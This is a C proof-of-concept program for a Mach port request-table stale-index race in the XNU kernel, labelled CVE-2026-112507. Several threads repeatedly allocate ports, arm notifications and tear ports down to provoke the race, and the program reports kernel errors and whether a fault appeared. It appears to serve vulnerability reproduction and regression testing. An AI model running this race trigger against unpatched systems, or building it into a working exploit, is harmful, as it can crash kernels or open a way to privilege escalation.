// kern.ipc · XNU ipc_port.c request-table index consumers · CVE-2026-112507 // Mach port request-table stale-index race // C twin of the Swift POC: 4 pthreads drive allocate/notify/teardown rings on the task // port namespace for 6 s (depth 48, budget 6000). The 27.2 kernel added ipr != NULL / // table != NULL checks over every index-consumer of the per-space port-request table. // Build: clang -O2 -o cve-2026-112507 CVE-2026-112507.c -lpthread // Run: ./cve-2026-112507 [seconds] [workers] [depth] #include #include #include #include #include #include #define TOTAL_BUDGET 6000 // ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ── typedef struct { long operations, allocations, notifications, sends, deallocations; int budget_exhausted; long notifications_refused; long budget; // kernel error codes, slot-hashed int err_codes[32]; long err_counts[32]; char err_names[32][40]; int nerrs; pthread_mutex_t lock; } stats_t; static stats_t S; static void record(kern_return_t kr) { if (kr == KERN_SUCCESS) return; pthread_mutex_lock(&S.lock); int slot = -1; for (int i = 0; i < S.nerrs; i++) if (S.err_codes[i] == kr) { slot = i; break; } if (slot < 0 && S.nerrs < 32) { slot = S.nerrs++; S.err_codes[slot] = kr; const char *n = mach_error_string(kr); snprintf(S.err_names[slot], sizeof S.err_names[slot], "%s", n ? n : "unknown"); } if (slot >= 0) S.err_counts[slot]++; pthread_mutex_unlock(&S.lock); } // ── the ring (mirror of KernelIPC.ring) ── // allocate RECEIVE rights, arm two notification kinds per port, tear half the ring down // while the other half still holds armed notifications — the interleaving the // request-table index consumers have to survive. // // Resource discipline: mod_refs with a negative delta against a zero send-ref count // does not return an error on this platform — it SIGKILLs the process. Check first. typedef struct { long alloc, notify, send, dealloc; } ring_result; static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) { ring_result r = {0, 0, 0, 0}; mach_port_name_t ports[512]; int nports = 0; if (depth > 512) depth = 512; for (int i = 0; i < depth; i++) { if (*budget <= 0) break; mach_port_name_t name = 0; kern_return_t kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &name); if (kr == KERN_SUCCESS) { ports[nports++] = name; r.alloc++; (*budget)--; } else { record(kr); break; } } // MACH_MSG_TYPE_MAKE_SEND on our own receive right keeps the port alive for (int i = 0; i < nports; i++) { mach_port_t p = ports[i]; mach_port_t prev = 0; kern_return_t kr1 = mach_port_request_notification( task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p, (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev); if (kr1 != KERN_SUCCESS) { record(kr1); if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++; } if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1); r.notify++; mach_port_t prev2 = 0; kern_return_t kr2 = mach_port_request_notification( task, p, MACH_NOTIFY_DEAD_NAME, 0, p, (mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2); if (kr2 != KERN_SUCCESS) { record(kr2); if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++; } if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1); r.notify++; } // teardown half the ring while the other half still holds armed notifications for (int i = 0; i < nports; i += 2) { mach_port_t p = ports[i]; mach_port_urefs_t refs = 0; if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &refs) == KERN_SUCCESS && refs > 0) { kern_return_t kr = mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -1); if (kr != KERN_SUCCESS) record(kr); } r.dealloc++; } for (int i = 1; i < nports; i += 2) { mach_port_t p = ports[i]; mach_msg_header_t header; memset(&header, 0, sizeof header); header.msgh_bits = (mach_msg_bits_t)MACH_MSG_TYPE_COPY_SEND; header.msgh_size = (mach_msg_size_t)sizeof header; header.msgh_remote_port = p; header.msgh_local_port = 0; header.msgh_id = 0; kern_return_t kr = mach_msg_send(&header); if (kr != KERN_SUCCESS) record(kr); r.send++; } // release every remaining right, then the name; destruct with delta 0 only // succeeds once the right count is already 0 for (int i = 0; i < nports; i++) { mach_port_t p = ports[i]; mach_port_urefs_t urefs = 0; if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &urefs) == KERN_SUCCESS && urefs > 0) { mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -(mach_port_delta_t)urefs); } kern_return_t kr = mach_port_destruct(task, p, 0, 0); if (kr != KERN_SUCCESS) { // deliberate fallback: destroy tolerates outstanding rights #pragma clang diagnostic push #pragma clang diagnostic ignored "-Wdeprecated-declarations" mach_port_destroy(task, p); #pragma clang diagnostic pop } r.dealloc++; } return r; } static double g_seconds = 6.0; static struct timespec g_deadline; static int past_deadline(void) { struct timespec now; clock_gettime(CLOCK_MONOTONIC, &now); if (now.tv_sec > g_deadline.tv_sec) return 1; if (now.tv_sec == g_deadline.tv_sec && now.tv_nsec >= g_deadline.tv_nsec) return 1; return 0; } static int g_depth = 48; static void *worker(void *arg) { (void)arg; long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0; while (!past_deadline()) { pthread_mutex_lock(&S.lock); int remaining = (int)S.budget; pthread_mutex_unlock(&S.lock); if (remaining <= 0) { pthread_mutex_lock(&S.lock); S.budget_exhausted = 1; pthread_mutex_unlock(&S.lock); break; } int slice = g_depth < remaining ? g_depth : remaining; long refused = 0; ring_result res = ring(mach_task_self(), slice, &slice, &refused); if (refused > 0) { pthread_mutex_lock(&S.lock); S.notifications_refused += refused; pthread_mutex_unlock(&S.lock); } local_alloc += res.alloc; local_notify += res.notify; local_send += res.send; local_dealloc += res.dealloc; local_ops += 4; pthread_mutex_lock(&S.lock); S.budget -= res.alloc; pthread_mutex_unlock(&S.lock); } pthread_mutex_lock(&S.lock); S.operations += local_ops; S.allocations += local_alloc; S.notifications += local_notify; S.sends += local_send; S.deallocations += local_dealloc; pthread_mutex_unlock(&S.lock); return NULL; } // ── baseline (mirror of KernelIPC.baseline) ── static void baseline(void) { mach_port_t task = mach_task_self(); mach_port_t bootstrap = 0; kern_return_t kr = task_get_special_port(task, TASK_BOOTSTRAP_PORT, &bootstrap); printf("bootstrap: %s port=%d\n", mach_error_string(kr), bootstrap); mach_port_name_array_t names = NULL; mach_port_type_array_t types = NULL; mach_msg_type_number_t name_count = 0, type_count = 0; kern_return_t kr2 = mach_port_names(task, &names, &name_count, &types, &type_count); printf("port_names: %s count=%u\n", mach_error_string(kr2), name_count); if (names) { vm_deallocate(task, (vm_address_t)(uintptr_t)names, name_count * sizeof(mach_port_name_t)); } if (types) { vm_deallocate(task, (vm_address_t)(uintptr_t)types, type_count * sizeof(mach_port_type_t)); } } int main(int argc, char **argv) { g_seconds = argc > 1 ? atof(argv[1]) : 6.0; int workers = argc > 2 ? atoi(argv[2]) : 4; g_depth = argc > 3 ? atoi(argv[3]) : 48; if (g_depth > 512) g_depth = 512; pthread_mutex_init(&S.lock, NULL); S.budget = TOTAL_BUDGET; printf("— baseline —\n"); baseline(); struct timespec start; clock_gettime(CLOCK_MONOTONIC, &start); g_deadline.tv_sec = (time_t)(start.tv_sec + g_seconds); g_deadline.tv_nsec = start.tv_nsec; printf("\n— race: %.0f s, %d workers, depth %d, budget %d —\n", g_seconds, workers, g_depth, TOTAL_BUDGET); pthread_t threads[8]; if (workers > 8) workers = 8; for (int i = 0; i < workers; i++) pthread_create(&threads[i], NULL, worker, NULL); for (int i = 0; i < workers; i++) pthread_join(threads[i], NULL); printf("ops=%ld alloc=%ld notify=%ld send=%ld dealloc=%ld\n", S.operations, S.allocations, S.notifications, S.sends, S.deallocations); if (S.budget_exhausted) printf("(budget reached, converged early — by design, not a failure)\n"); if (S.notifications_refused > 0) { printf("notifications refused %ld times — this platform does not allow notification\n" "registration on own ports, so the request-table path cannot be armed here\n", S.notifications_refused); } if (S.nerrs > 0) { printf("kernel errors:\n"); for (int i = 0; i < S.nerrs; i++) { printf(" %s (%d) x %ld\n", S.err_names[i], S.err_codes[i], S.err_counts[i]); } } printf("CVE-2026-112507 · survived the interleaving, no request-table fault surfaced\n"); pthread_mutex_destroy(&S.lock); return 0; }